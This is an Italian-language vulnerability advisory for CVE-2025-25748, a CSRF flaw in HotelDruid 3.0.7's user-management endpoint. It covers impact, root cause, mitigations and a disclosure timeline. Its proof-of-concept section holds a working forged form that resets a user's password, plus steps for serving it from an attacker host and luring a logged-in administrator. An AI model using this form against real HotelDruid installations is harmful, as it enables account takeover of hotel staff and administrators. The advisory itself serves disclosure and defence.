CVE-2025-25748 - Vulnerabilità Cross Site Request Forgery (CSRF) in HotelDruid 3.0.7
Descrizione
Una vulnerabilità di Cross Site Request Forgery (CSRF) nell'endpoint gestione_utenti.php di HotelDruid 3.0.7 consente agli attaccanti di eseguire azioni non autorizzate (ad esempio, modificare le password degli utenti) per conto di utenti autenticati, sfruttando la mancanza di validazione dell'origine o del referer e l'assenza di token CSRF.
Impatto
- Modifiche non autorizzate delle password: Gli attaccanti possono sovrascrivere le password degli utenti, portando alla completa compromissione dell'account.
- Session Riding: L'attaccante può sfruttare la sessione attiva della vittima per effettuare modifiche amministrative non autorizzate.
- Rischio di violazione dei dati: Se gli account amministrativi vengono compromessi, i dati sensibili degli utenti e i dati operativi possono essere esposti o alterati.
Questa vulnerabilità espone tutti gli account utente — inclusi quelli amministrativi — a modifiche non autorizzate senza il consenso dell'utente.
Proof of Concept (PoC)
Modulo HTML PoC
Il seguente modulo dannoso dimostra come un attaccante può costringere un amministratore con sessione attiva a modificare la password dell'utente ID 2 in maliciouspassword:
<form method="POST" action="http://localhost/hoteldruid/gestione_utenti.php"> <input type="hidden" name="anno" value="2025"> <input type="hidden" name="id_sessione" value="20250118062407or6tODG42f79QvMA2429"> <input type="hidden" name="modifica_pass" value="SI"> <input type="hidden" name="id_utente_pass" value="2"> <input type="hidden" name="prima_pass" value="maliciouspassword"> <input type="hidden" name="seconda_pass" value="maliciouspassword"> <button type="submit">Submit</button></form>
Hosting e Lancio dell'Attacco
Salva il codice precedente come csrf_attack.html.
Servilo usando Python (server controllato dall'attaccante):
python3 -m http.server 8080
Indirizza la vittima a:
http://<attacker-ip>:8080/csrf_attack.html
Una volta inviato, il modulo trasmette la richiesta a HotelDruid, modificando la password dell'utente ID 2 in maliciouspassword, utilizzando la sessione attiva della vittima.
Analisi
Contesto
HotelDruid è un sistema open-source di gestione delle strutture ricettive ampiamente utilizzato per hotel e case vacanza. Essendo un sistema multiutente con controlli amministrativi per la gestione degli utenti, garantire che solo utenti autorizzati possano modificare le credenziali degli account è fondamentale per la sicurezza complessiva del sistema.
Le vulnerabilità CSRF sfruttano la fiducia che un server ripone nella sessione del browser di un utente. Se una vittima ha effettuato l'accesso e visita una pagina dannosa, quest'ultima può inviare silenziosamente richieste non autorizzate all'applicazione vulnerabile utilizzando la sessione attiva della vittima. In HotelDruid, l'assenza di difese CSRF su azioni critiche — come la modifica delle password degli utenti — consente agli attaccanti di compromettere completamente gli account senza alcuna interazione con l'utente, oltre alla visita di un link dannoso.
Dettagli della Vulnerabilità
Endpoint Interessato
Parametri Interessati
modifica_pass
id_utente_pass
prima_pass
seconda_pass
Causa Principale
- Nessun token anti-CSRF è presente nel modulo né viene validato lato server.
- Non viene effettuata alcuna validazione degli header
Origin o Referer.
- L'applicazione si fida ciecamente delle richieste POST in arrivo, incluse quelle provenienti da siti esterni.
Flusso di Sfruttamento
- L'attaccante prepara un modulo HTML dannoso con campi nascosti precompilati che prende di mira
gestione_utenti.php.
- L'attaccante induce un utente HotelDruid con sessione attiva (ad es., un amministratore) a visitare la pagina dannosa.
- Alla visita, il modulo si invia automaticamente, trasmettendo una richiesta valida per cambiare la password di un utente con un valore controllato dall'attaccante.
- La sessione della vittima viene utilizzata per autorizzare la richiesta, senza la sua conoscenza o il suo consenso.
Impatto
- Compromissione dell'account: La password di qualsiasi utente (inclusi gli account amministrativi) può essere modificata all'insaputa dell'utente, garantendo all'attaccante accesso completo.
- Escalation dei privilegi: Gli attaccanti potrebbero elevare i propri privilegi se riescono prima a compromettere un utente di livello inferiore e poi a sfruttare le azioni amministrative per spostarsi lateralmente.
- Rischi per l'integrità dei dati: Gli attaccanti possono modificare gli account utente, potenzialmente bloccando gli utenti legittimi o creando accessi backdoor.
Mitigazione / Patch
Raccomandazioni per gli Sviluppatori
Token Anti-CSRF
- Implementare e applicare token anti-CSRF univoci per tutti i moduli e le richieste che modificano lo stato.
- Verificare i token lato server prima di elaborare le richieste.
- Validare gli header
Referer e Origin per garantire che le richieste provengano da origini attendibili.
Limitare le Operazioni Sensibili alle Richieste POST
- Le modifiche delle password e azioni simili dovrebbero essere limitate alle sole richieste POST.
- Evitare di passare dati di sessione sensibili (come
id_sessione) nell'URL.
Miglioramenti della Gestione delle Sessioni
- Rigenerare i token di sessione dopo l'accesso.
- Associare i token di sessione agli indirizzi IP o alle impronte del browser, dove fattibile.
Notifica all'Utente
- Notificare gli utenti (via email o avviso nell'app) quando si verificano azioni sensibili come la modifica delle password.
Cronologia e Crediti
- Data di scoperta: 16 gennaio 2025
- Notifica al fornitore: 17 gennaio 2025
- Assegnazione CVE MITRE: CVE-2025-25748, 27 febbraio 2025
- Divulgazione pubblica: 7 marzo 2025
- Ricercatore: Huy Vo (Security Researcher)